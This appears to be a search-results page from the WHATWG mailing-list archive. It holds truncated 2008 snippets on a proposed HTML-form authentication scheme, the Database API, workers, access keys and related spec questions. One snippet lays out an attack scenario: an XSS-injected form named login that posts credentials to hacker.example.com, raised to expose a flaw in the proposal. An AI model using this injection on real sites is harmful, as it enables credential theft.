- Original Message -
From: Ian Hickson [EMAIL PROTECTED]
To: Pentasis [EMAIL PROTECTED]
Cc: whatwg@lists.whatwg.org
Sent: Wednesday, November 26, 2008 12:32 AM
Subject: Re: [whatwg] Issues relating to the syntax of dates and times
On Tue, 25 Nov 2008, Pentasis wrote:
But the way it
On Wed, 26 Nov 2008, Pentasis wrote:
Like I said, I completely understand the issues here. It just seems a
bit strange to me to choose one specific calendar and promote that one
to exact.
Well it's the calendar in use by a large part of the world. It's not just
any random calendar. :-)
Martin Atkins wrote:
This idea has promise, but is it compatible with existing browsers?
The case where the only challenge included is HTML is probably okay,
since browsers will at this point likely determine that they don't
support any of the given schemes and just display the entity body.
On Nov 26, 2008, at 13:19, Julian Reschke wrote:
So wouldn't it make sense to address the common use case so that it
doesn't require the bot (the non-HTML UA) to parse the response
body?
That seems like a bad optimization. Adding an off-the-shelf HTML
parser to a bot is much easier than
Henri Sivonen wrote:
That seems like a bad optimization. Adding an off-the-shelf HTML parser
to a bot is much easier than tuning the general crawling functionality
and task-specific functionality of a bot.
I'll be convinced when I see support for this being integrated into the
MacOsX and
Ian Hickson schrieb:
...and there must be a form element with name=login, which represents
the form that must be submitted to log in.
Forgive me if this is a stupid question... but anyway: Are there other
cases where values of the name attribute have special functionalities?
Otherwise, I'd
Ian Hickson wrote:
...
I don't understand why it makes a difference what the form is like. It
should apply whatever credentials it has been given -- whatever those
might be, username/password, certificate, fake addressa and phone number,
whatever, and submit the form. Just like a user.
...
On Wed, 26 Nov 2008, Thomas Broyer wrote:
I came to the same conclusion and already implemented it (with a custom
application-specific scheme) in an Enterprise app (the custom scheme
accepts both HTML form, i.e. cookie, and an Authorization request-header
–we're using it for
Ian Hickson wrote:
On Wed, 26 Nov 2008, Julian Reschke wrote:
Ian Hickson wrote:
...
As can be seen in the feedback below, there is interest in improving the So
when you get to a page that expects you to be logged in, it return a 401
with:
WWW-Authenticate: HTML form=login
...and there
On Wed, 26 Nov 2008, Julian Reschke wrote:
Ian Hickson wrote:
Anyway, if it's out of sync, authentication is not going to work, so
it should be noticed quickly.
On the contrary, authentication is going to work fine for 99% of users
and it's only when a lone user tries using a bot
Ian Hickson wrote:
...
On Wed, 26 Nov 2008, Julian Reschke wrote:
Do you have a concrete example where the login form is complex in a
manner where the fields can't be identified and there is reason to
believe that a bot will want to authenticate but won't have been given
enough information to
- Original Message -
From: Ian Hickson [EMAIL PROTECTED]
To: Pentasis [EMAIL PROTECTED]
Cc: whatwg@lists.whatwg.org
Sent: Wednesday, November 26, 2008 12:09 PM
Subject: Re: [whatwg] Issues relating to the syntax of dates and times
On Wed, 26 Nov 2008, Pentasis wrote:
No, I
There's a question at the bottom about how best to make transactions be
free of concurrency problems. Input welcome.
On Fri, 23 May 2008, Aaron Boodman wrote:
I noticed one unfortunate thing about the new Database API. Because the
executeSql() callback holds open the transaction, it is easy
Ian Hickson wrote:
On Wed, 26 Nov 2008, Julian Reschke wrote:
If the form is more complex than two fields (identity/secret), then I
don't see how authentication is going to work except by displaying the
form -- just extracting the field names certainly wouldn't be
sufficient, even if they
On Wed, 26 Nov 2008, Julian Reschke wrote:
I'm not sure what you mean by fatal error. The spec precisely
defines which form should be used in the case of multiple forms with
the same name. Could you describe the attack scenario you are
considering?
If everybody UA is going to run
On Wed, 26 Nov 2008, Julian Reschke wrote:
Ian Hickson wrote:
...
As can be seen in the feedback below, there is interest in improving the So
when you get to a page that expects you to be logged in, it return a 401
with:
WWW-Authenticate: HTML form=login
...and there must be
On Wed, 26 Nov 2008, Julian Reschke wrote:
Ian Hickson wrote:
A simple way to achieve it would be to restrict it to username/password
pairs, and to have the names of these form parameters live in the response
headers as well.
We would have to, at a minimum, include the name of the
Ian Hickson wrote:
Anyway, if it's out of sync, authentication is not going to work, so it
should be noticed quickly.
On the contrary, authentication is going to work fine for 99% of users and
it's only when a lone user tries using a bot that it'll break.
Yes, that's what I meant: it will
Olli Pettay ha scritto:
On 11/26/2008 02:34 AM, Calogero Alex Baldacchino wrote:
A
better way to do what you aim would consist of setting a listener for
key events on a displayable element and choosing a different operation
basing on the pressed key(s);
This is not content author friendly way
On Wed, Nov 26, 2008 at 10:12 AM, Ian Hickson [EMAIL PROTECTED] wrote:
On Wed, 26 Nov 2008, Julian Reschke wrote:
Ian Hickson wrote:
...
As can be seen in the feedback below, there is interest in improving the So
when you get to a page that expects you to be logged in, it return a 401
On Wed, Nov 26, 2008 at 3:46 AM, Ian Hickson [EMAIL PROTECTED] wrote:
We could have a .writeTransaction() and a .readTransaction(), where the
former always run in isolation.
Any preferences?
My preference is for separating read transactions from write
transactions. Then the API could throw if
Benjamin Hawkes-Lewis ha scritto:
Calogero Alex Baldacchino wrote:
I know, and agree with the basic reasons; however I think that
deriving an SGML version (i.e. by adding new entities and elements, as
needed, to an html 4 dtd) should not be very difficoult, and could be
worth the effort
On Mon, 26 May 2008, Chris Prince wrote:
// On the 1st call, this line means create a database,
// and set the version string to the empty string.
var db1 = window.openDatabase(foo, , , );
// On the 2nd call, the meaning has changed to
// open the 'foo' database, regardless of the version
Ian Hickson wrote:
There's a question at the bottom about how best to make transactions be
free of concurrency problems. Input welcome.
On Fri, 23 May 2008, Aaron Boodman wrote:
I noticed one unfortunate thing about the new Database API. Because the
executeSql() callback holds open the
On Tue, 25 Nov 2008 19:54:46 +0100, Julian Reschke [EMAIL PROTECTED] wrote:
thanks a lot for this proposal which seems to go into the right
direction.
Indeed. I think this is an area with an enormous potential for improvement and
it's very encouraging to see so many great ideas about the
On 11/26/2008 05:35 PM, Calogero Alex Baldacchino wrote:
anyway I think key events handling may
be improved and become easier to adopt by adding to a somewhat interface
a few constants representing the modifiers combination used by the
browser to activate access keys, so those modifiers could be
From: Calogero Alex Baldacchino [EMAIL PROTECTED]
Subject: Re: [whatwg] Fallback styles for legacy user agents [was: Re:
Deprecating small , b ?]
To: Benjamin Hawkes-Lewis [EMAIL PROTECTED]
Cc: WHAT Working Group whatwg@lists.whatwg.org
Message-ID: [EMAIL PROTECTED]
Content-Type: text/plain;
On Wed, 26 Nov 2008, Philip Taylor wrote:
If I'm not misunderstanding things, there is a new attack scenario:
I post a comment on someone's blog, saying a
href=/restricted-access.php?xsshole=form
action=http://hacker.example.com/capture name=logininput
name=usernameinput
On Wed, 26 Nov 2008, Jonas Sicking wrote:
As I said at the F2F meeting in France, I don't think this is the right
way to go. I think moving away from passwords and HTML logins are
absolutely necessary.
I agree.
There are much better identity based authentication schemes out there.
On Wed, 23 Apr 2008, Jon Gibbins (dotjay) wrote:
For example, take that both abbr title=United States of
AmericaUSA/abbr and abbr title=United Space
AllianceUSA/abbr previously occurred in the document, and you
*don't* want, as an author, for every future use of either term to
Pentasis wrote:
Basically it is a bad idea to mark-up aural properties when it comes to
accessibility.
It does not follow from the fact that popular screen readers ignore
publisher aural/speech CSS or the reasonable argument that they _should_
ignore such CSS, that providing publisher
Asbjørn Ulsberg wrote:
[Request 1]
GET /administration/ HTTP/1.1
[Response 1]
HTTP/1.1 401 Unauthorized
WWW-Authenticate: HTML realm=Administration
!DOCTYPE html
html
form action=/login
input name=username
input type=password name=password
input type=submit
Julian Reschke wrote:
You can already handle the case of content that's available
unauthenticated, but would potentially differ in case of being
authenticated by adding
Vary: Authorization
to a response.
According to section 14.8 of the HTTP 1.1 specification, the presence of
the
artin Atkins ha scritto:
Asbjørn Ulsberg wrote:
[Request 1]
GET /administration/ HTTP/1.1
[Response 1]
HTTP/1.1 401 Unauthorized
WWW-Authenticate: HTML realm=Administration
!DOCTYPE html
html
form action=/login
input name=username
input type=password
Tab Atkins Jr. ha scritto:
On Tue, Nov 25, 2008 at 3:08 PM, Calogero Alex Baldacchino
[EMAIL PROTECTED] mailto:[EMAIL PROTECTED] wrote:
Tab Atkins Jr. ha scritto:
On Tue, Nov 25, 2008 at 10:24 AM, Calogero Alex Baldacchino
[EMAIL PROTECTED] mailto:[EMAIL PROTECTED]
Ian Hickson wrote:
...
Ok let me rephrase. What are the user agent requirements for processing
the realm value? For other schemes, it's basically show the realm to
the user as a hint as to what password is wanted. But here we aren't
going to show anything to the user.
...
Yes. It's the
Martin Atkins wrote:
...
By that line of reasoning, you could equally argue that sites don't need
this authentication scheme at all since they do just fine without it today.
I think this new authentication scheme is most interesting when used in
conjunction with other schemes, because it
On Wed, Nov 26, 2008 at 6:13 PM, Julian Reschke [EMAIL PROTECTED] wrote:
* IE7: Rendered the response body as a normal page
* F3: Rendered the response body as a normal page
This behavior is what needs to be specified by this working group. The
rest can be handled by authentication
Heads-up: Since nobody could say what security vulnerability we were
protecting against in making importScripts() block cross-origin loads,
I've commented out the step that enforces same-origin restrictions for
importScripts(). The only vulnerabilities I can find are things that can
already
On Fri, 11 Apr 2008, Anne van Kesteren wrote:
On Fri, 11 Apr 2008 02:03:45 +0200, Ian Hickson [EMAIL PROTECTED] wrote:
On Tue, 7 Nov 2006, Anne van Kesteren wrote:
The definition of downloading a resource must be clear that even if
the resource does not need to be downloaded (because
On Thu, 27 Nov 2008, Calogero Alex Baldacchino wrote:
Perhaps a silly idea: what if abbreviations could work as an img-map
couple? That is, i.e., an abbr without a title could avail of a, let's
say, 'ref' attribute indicating the id of a previous abbr element with
a title, and the former
Ian Hickson ha scritto:
On Thu, 27 Nov 2008, Calogero Alex Baldacchino wrote:
Perhaps a silly idea: what if abbreviations could work as an img-map
couple? That is, i.e., an abbr without a title could avail of a, let's
say, 'ref' attribute indicating the id of a previous abbr element with
a
On Fri, 13 Jun 2008, Adam Barth wrote:
The current draft of the spec doesn't specify how to compute the cookie
context for a document. Here is how to compute it:
A document's cookie context can be represented as a URI and largely (but
not exactly) follows the document's origin.
1) If
Hey folks,
I just got around to fixing the error handling in our worker
implementation and realized that the spec is a little vague here,
especially when workers are created within workers. This is what we
have now, and Jonas and I both find it intuitive and useful:
Assuming we have a page that
44 matches
Mail list logo
